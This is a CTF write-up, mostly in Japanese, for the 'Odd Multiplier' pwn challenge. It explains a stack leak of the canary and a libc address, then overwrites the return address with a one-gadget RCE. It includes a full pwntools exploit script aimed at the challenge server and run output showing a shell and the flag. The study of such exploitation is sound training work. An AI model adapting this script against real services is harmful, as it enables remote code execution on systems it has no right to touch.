# Odd Multiplierby mito
### 10 solves, 497 pts
```Can you do multiplication?
The flag is in /home/user/flag
nc 34.85.75.40 30002
Difficulty estimate: Easy```
* 255以下の奇数を複数入力して積を計算するプログラム。0を入力すると結果を表示する。* 積の計算結果をスタックに置いているため、大きな数になるように入力すると `canary` と リターンアドレスのlibcアドレス(libc_start_main+231)を含めて表示してくれる。（canary値は `255` を `25` 回、libcは `255` を `41` 回）* 下記は積算の計算結果を格納するスタックの状態です。24バイト先にcanary値が、40バイト先がリターンアドレスです。```0x7fffffffde20:	0x000000000000fe01	0x0000000000000000  <= 積算値　255 x 255 = 65025(0xfe01)0x7fffffffde30:	0x00007fffffffdf20	0xfb7319e823a6d800  <= canary (0xfb7319e823a6d800)0x7fffffffde40:	0x0000555555554ca0	0x00007ffff7a05b97  <= return address (0x00007ffff7a05b97)0x7fffffffde50:	0x0000000000000001	0x00007fffffffdf28```
* これを使うと、リターンアドレスを書き換えることも可能。* 但し、奇数の積算で一度にcanary値とリターンアドレスを書くことはできないので、大きいアドレスの方から １バイト単位で書き込む。最後にcanary値を書き込む。* 最初はlibcのsystem関数の呼び出しを試みるが、アドレスの0x0000部分を掛け算で作り出すことができずに断念。* リターン時に `rcx=0` であることを気付き、rcx=0制約の `One-gadget RCE` を使う方法に変更。* canary値の下位1バイトの0x00部分を積算値で書き込むことができないので、その部分のみcanary値の下位２バイトを0x ` XX00` になるように書き込む。* 積算する奇数は、４つの奇数をブルートフォースで計算した（もっと効率的な方法があるかもしれないが）。* ブルートフォースで奇数を求めることができない場合があり、Exploitコードを2,3回動作させる必要があった。
exploitコードは下記になります。```from pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './multiplier'elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "34.85.75.40"  PORT = 30002  s = remote(HOST, PORT)  libc = ELF("./libc-2.27.so")else:  s = process(BINARY)  libc = elf.libc
# calculate 4 odd nummbersdef Multi(a1, c0, d, l):  for i0 in range(127, 2, -2):    for i1 in range(3, 128, 2):      for i2 in range(127, 2, -2):        for i3 in range(255, 2, -2):          e = i0 * i1 * i2 * i3 * d          if len(hex(a1)) == len(hex(e)) and hex(a1)[0:l] == hex(e)[0:l]:            #print i0,i1,i2,i3,hex(e)            return i0,i1,i2,i3
# Send odd number to serverdef Set_data(s, addr, pos, n, mode):  a0 = hex(addr) + "00"*pos  a1 = int(a0, 16)
  d = 1  for i in range(200):    d0 = d*255    if d0*255*255 > a1:      break    d = d0  if n == 6 and mode == 1:    i0, i1, i2, i3 = Multi(a1, a1/d, d, 6)  # for 1 byte(0x00) of canary  else:    i0, i1, i2, i3 = Multi(a1, a1/d, d, 4)   s.recvuntil("\n\n")  for j in range(i):    s.sendline("255")  s.sendline(str(i0))  s.sendline(str(i1))  s.sendline(str(i2))  s.sendline(str(i3))  s.sendline("0")  print hex(addr), i0,i1,i2,i3,"0"
# Break address into 1 bytedef Set_addr(s, addr, pos, mode):  for i in range(8):    addr = addr & int("ff"*(8-i),16)    if i == 7 and mode == 1:      break    else:      Set_data(s, addr, pos, i, mode)
s.recvuntil("I will multiply odd numbers until you enter 0\n\n")
# Leak canaryfor i in range(25):  s.sendline("255")s.sendline("0")r = s.recv(14)canary = int(r + '00', 16)print "canary     =", hex(canary)
# Leak libcs.recvuntil("\n\n")for i in range(41):  s.sendline("255")s.sendline("0")r = s.recv(10)libc_leak   = int(r + '97', 16)libc_base   = libc_leak - 0x21B97one_gadget_addr = libc_base + 0x4f2c5print "libc_leak  =", hex(libc_leak)print "libc_base  =", hex(libc_base)print "one_gadget =", hex(one_gadget_addr)
# First, One gadget RCE writeSet_addr(s, one_gadget_addr, 40, 0)
# Second, canary writeSet_addr(s, canary, 24, 1)
# for returns.recvuntil("\n\n")s.sendline("2")
#s.sendline("cat /home/user/flag")
s.interactive()```
実行結果です。
```$ python solve.py rcanary     = 0xbeaaaac194d3a100libc_leak  = 0x7fd3035efb97libc_base  = 0x7fd3035ce000one_gadget = 0x7fd30361d2c50x7fd30361d2c5 127 3 127 205 00x7fd30361d2c5 127 3 127 205 00x7fd30361d2c5 127 3 127 205 00xd30361d2c5 127 5 127 203 00x361d2c5 127 3 99 7 00x61d2c5 127 3 127 155 00xd2c5 127 5 127 199 00xc5 127 5 125 189 00xbeaaaac194d3a100 127 5 127 173 00xaaaac194d3a100 127 5 127 155 00xaac194d3a100 127 5 123 159 00xc194d3a100 127 5 125 177 00x94d3a100 127 3 125 225 00xd3a100 127 5 127 189 00xa100 127 7 117 111 0[*] Switching to interactive modeI'm able to multiply only odd numbers.$ iduid=999(user) gid=999(user) groups=999(user)$ cd /home/user$ lsflaglibc-2.27.somultiplierstart.sh$ cat flagTSGCTF{Carrying_out_calculations_of_carries_will_carry_the_flag}```